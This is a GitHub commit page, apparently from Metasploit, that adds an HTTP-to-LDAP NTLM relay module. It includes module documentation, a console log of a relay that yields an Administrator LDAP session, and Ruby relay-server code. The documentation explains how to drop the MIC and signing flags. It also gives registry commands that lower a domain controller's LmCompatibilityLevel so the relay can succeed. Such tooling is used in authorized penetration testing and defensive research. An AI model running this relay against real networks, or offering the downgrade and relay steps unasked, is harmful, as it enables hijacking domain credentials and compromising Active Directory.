Skip to content

Commit 4847d88

Browse files
committed
HTTP to LDAP Relay Module and Supporting Libraries
Remove unnecessary code Remove commented out code Added documentation Responded to Spencer and Copilot Add anonymous identity check Doc update Warning surpression Renamed ldap_client to relayed_connection Comments
1 parent 5111f9e commit 4847d88

6 files changed

Lines changed: 918 additions & 1 deletion

File tree

Lines changed: 108 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,108 @@
1+
## Vulnerable Application
2+
3+
### Description
4+
5+
This module sets up an HTTP server that attempts to execute an NTLM relay attack against an LDAP server on the
6+
configured `RHOSTS`. The relay attack targets NTLMv1 authentication, as NTLMv2 cannot be relayed to LDAP due to the
7+
Message Integrity Check (MIC). The module automatically removes the relevant flags to bypass signing.
8+
9+
This module supports relaying one HTTP authentication attempt to multiple LDAP servers. After attempting to relay to
10+
one target, the relay server sends a 307 to the client and if the client is configured to respond to redirects, the
11+
client resends the NTLMSSP_NEGOTIATE request to the relay server. Multi relay will not work if the client does not
12+
respond to redirects.
13+
14+
The module supports relaying NTLM authentication which has been wrapped in GSS-SPNEGO. HTTP authentication info is sent
15+
in the WWW-Authenticate header. In the auth header base64 encoded NTLM messages are denoted with the NTLM prefix, while
16+
GSS wrapped NTLM messages are denoted with the Negotiate prefix. Note that in some cases non-GSS wrapped NTLM auth can
17+
be prefixed with Negotiate.
18+
19+
If the relay attack is successful, an LDAP session is created on the target. This session can be used by other modules
20+
that support LDAP sessions, such as:
21+
22+
- `admin/ldap/rbcd`
23+
- `auxiliary/gather/ldap_query`
24+
25+
The module also supports capturing NTLMv1 and NTLMv2 hashes.
26+
27+
### Setup
28+
29+
For this relay attack to be successful, it is important to understand the difference between the Target Server (the
30+
Domain Controller receiving the relayed authentication) and the Victim Client (the machine sending the initial HTTP
31+
request) and how their respective configurations can impact the success of the attack.
32+
33+
The Domain Controller must be configured to accept LM or NTLM authentication. This means the `LmCompatibilityLevel`
34+
registry key on the DC must be set to 4 or lower. If it is set to `5` ("Send NTLMv2 response only. Refuse
35+
LM and NTLM"), the DC will reject the relayed authentication and the module will fail.
36+
37+
You can verify or modify the Domain Controller's level using the following commands:
38+
```cmd
39+
# To check the current level:
40+
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa -v LmCompatibilityLevel
41+
42+
# To set the level to 4 (or lower):
43+
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa -v LmCompatibilityLevel /t REG_DWORD /d 0x4 /f
44+
```
45+
46+
The client being coerced must be willing to send the vulnerable NTLM responses.
47+
- Non-Windows Clients: Custom tools or Linux-based HTTP clients are unaffected by Windows registry keys and can easily
48+
be relayed to a vulnerable DC.
49+
- Windows Clients: If you are coercing a native Windows HTTP client (like `Invoke-WebRequest` or a browser), the victim
50+
machine's `LmCompatibilityLevel` dictates what it is allowed to send. To successfully relay a Windows client, its local
51+
registry key typically needs to be set to `2` or lower. If the Windows client is operating at level `3` or higher, it
52+
restricts itself to sending only NTLMv2 responses, which will cause the relay to fail even if the target DC is vulnerable.
53+
54+
## Verification Steps
55+
56+
1. Start msfconsole
57+
2. Do: `use auxiliary/server/relay/http_to_ldap`
58+
3. Set the `RHOSTS` options
59+
4. Run the module
60+
5. Send an authentication attempt to the relay server
61+
6. `Invoke-WebRequest -Uri http://192.0.2.1/test -UseDefaultCredentials`
62+
7. Check the output for successful relays and captured hashes
63+
64+
## Scenarios
65+
### Relaying to multiple targets
66+
```
67+
msf auxiliary(server/relay/http_to_ldap) > set rhosts 172.16.199.200 172.16.199.201
68+
rhosts => 172.16.199.200 172.16.199.201
69+
msf auxiliary(server/relay/http_to_ldap) > run
70+
[*] Auxiliary module running as background job 2.
71+
72+
[*] Relay Server started on 0.0.0.0:80
73+
[*] Server started.
74+
msf auxiliary(server/relay/http_to_ldap) > [*] Received GET request from 172.16.199.130, setting client_id to 172.16.199.130
75+
[*] Processing request in state unauthenticated from 172.16.199.130
76+
[*] Received GET request from 172.16.199.130, setting client_id to 172.16.199.130
77+
[*] Processing request in state unauthenticated from 172.16.199.130
78+
[*] Received Type 1 message from 172.16.199.130, attempting to relay...
79+
[*] Attempting to relay to ldap://172.16.199.201:389
80+
[*] Dropping MIC and removing flags: `Always Sign`, `Sign` and `Key Exchange`
81+
[*] Received type2 from target ldap://172.16.199.201:389, attempting to relay back to client
82+
[*] Received GET request from 172.16.199.130, setting client_id to 172.16.199.130
83+
[*] Processing request in state awaiting_type3 from 172.16.199.130
84+
[*] Received Type 3 message from 172.16.199.130, attempting to relay...
85+
[*] Dropping MIC and removing flags: `Always Sign`, `Sign` and `Key Exchange`
86+
[+] Identity: KERBEROS\Administrator - Successfully relayed NTLM authentication to LDAP!
87+
[+] Relay succeeded
88+
[*] Moving to next target (172.16.199.200). Issuing 307 Redirect to /ZdF7Ufkm0I
89+
[*] Received GET request from 172.16.199.130, setting client_id to 172.16.199.130
90+
[*] Processing request in state unauthenticated from 172.16.199.130
91+
[*] Received Type 1 message from 172.16.199.130, attempting to relay...
92+
[*] Attempting to relay to ldap://172.16.199.200:389
93+
[*] Dropping MIC and removing flags: `Always Sign`, `Sign` and `Key Exchange`
94+
[*] Received type2 from target ldap://172.16.199.200:389, attempting to relay back to client
95+
[*] Received GET request from 172.16.199.130, setting client_id to 172.16.199.130
96+
[*] Processing request in state awaiting_type3 from 172.16.199.130
97+
[*] Received Type 3 message from 172.16.199.130, attempting to relay...
98+
[*] Dropping MIC and removing flags: `Always Sign`, `Sign` and `Key Exchange`
99+
[+] Identity: KERBEROS\Administrator - Successfully relayed NTLM authentication to LDAP!
100+
[+] Relay succeeded
101+
[*] Target list exhausted for 172.16.199.130. Closing connection.
102+
msf auxiliary(server/relay/http_to_ldap) > sessions -i -1
103+
[*] Starting interaction with 5...
104+
105+
LDAP (172.16.199.200) > getuid
106+
[*] Server username: KERBEROS\Administrator
107+
LDAP (172.16.199.200) >
108+
```
Lines changed: 109 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,109 @@
1+
# -*- coding: binary -*-
2+
# frozen_string_literal: true
3+
4+
module Msf
5+
module Exploit::Remote::HttpServer
6+
module Relay
7+
8+
include ::Msf::Auxiliary::MultipleTargetHosts
9+
include ::Msf::Exploit::Remote::Relay::NTLM::HashCapture
10+
include Msf::Exploit::Remote::HttpServer
11+
12+
attr_reader :logger
13+
14+
def initialize(info = {})
15+
super
16+
register_options(
17+
[
18+
OptPort.new('SRVPORT', [true, 'The local port to listen on.', 80]),
19+
OptAddress.new('SRVHOST', [ true, 'The local host to listen on.', '0.0.0.0' ]),
20+
OptAddressRange.new('RHOSTS', [true, 'Target address range or CIDR identifier to relay to'], aliases: ['LDAPHOST', 'RELAY_TARGETS']),
21+
OptInt.new('RELAY_TIMEOUT', [true, 'Seconds that the relay socket will wait for a response after the client has initiated communication.', 25])
22+
], self.class
23+
)
24+
@relay_clients = {}
25+
@relay_clients_mutex = Mutex.new
26+
end
27+
28+
def start_service(opts = {})
29+
@logger = opts['Logger'] || self
30+
31+
super
32+
33+
@http_relay_service = self.service
34+
35+
relay_path = '/'
36+
add_resource(
37+
'Proc' => Proc.new { |cli, req| on_relay_request(cli, req) },
38+
'Path' => relay_path
39+
)
40+
end
41+
42+
def on_relay_request(cli, req)
43+
client_id = Rex::Socket.to_authority(cli.peerhost, cli.peerport)
44+
cli.keepalive = true
45+
relay_client = nil
46+
print_status("Received #{req.method} request for #{req.uri} from #{client_id}")
47+
48+
# When the 307 redirect is sent to the client, it reconnects on a different port. So the relay server has to keep
49+
# track of the redirect URIs and associate them with the same client session. This allows the state machine to
50+
# continue seamlessly even if the client is bouncing between ports. Tracking the client ports but not redirect
51+
# URI's ends up in an infinite loop of 307 redirects because the client appears to be a new session on each
52+
# request. Tracking the redirect URI's allows us to correlate the new connection with the existing session
53+
# and avoid the redirect loop.
54+
55+
@relay_clients_mutex.synchronize do
56+
# Try to find the client by their exact TCP connection
57+
if @relay_clients.key?(client_id)
58+
relay_client = @relay_clients[client_id]
59+
relay_client.cli = cli
60+
else
61+
previous_client_id = @relay_clients.keys.find { |k| @relay_clients[k].redirect_uri == req.uri && req.uri != '/' }
62+
63+
if previous_client_id
64+
# Seamlessly transfer the state machine from the old port to the new port
65+
relay_client = @relay_clients.delete(previous_client_id)
66+
relay_client.cli = cli
67+
@relay_clients[client_id] = relay_client
68+
else
69+
# This is a truly new client session
70+
relay_client = Msf::Exploit::Remote::HttpServer::Relay::NTLM::ServerClient.new(
71+
cli,
72+
relay_targets,
73+
logger,
74+
datastore['RELAY_TIMEOUT']
75+
)
76+
relay_client.redirect_uri = req.uri # Track their starting path
77+
@relay_clients[client_id] = relay_client
78+
end
79+
end
80+
end
81+
82+
relay_client.process_request(req)
83+
84+
@relay_clients_mutex.synchronize do
85+
if relay_client.finished? && @relay_clients[client_id].equal?(relay_client)
86+
@relay_clients.delete(client_id)
87+
end
88+
end
89+
end
90+
91+
def send_auth_challenge(cli)
92+
res = Rex::Proto::Http::Response.new
93+
res.code = 401
94+
res.message = "Unauthorized"
95+
res.headers['WWW-Authenticate'] = "NTLM"
96+
97+
cli.put(res.to_s)
98+
end
99+
100+
def cleanup
101+
if @http_relay_service
102+
@http_relay_service.remove_resource('/')
103+
Rex::ServiceManager.stop_service(@http_relay_service)
104+
end
105+
super
106+
end
107+
end
108+
end
109+
end

0 commit comments

Comments
 (0)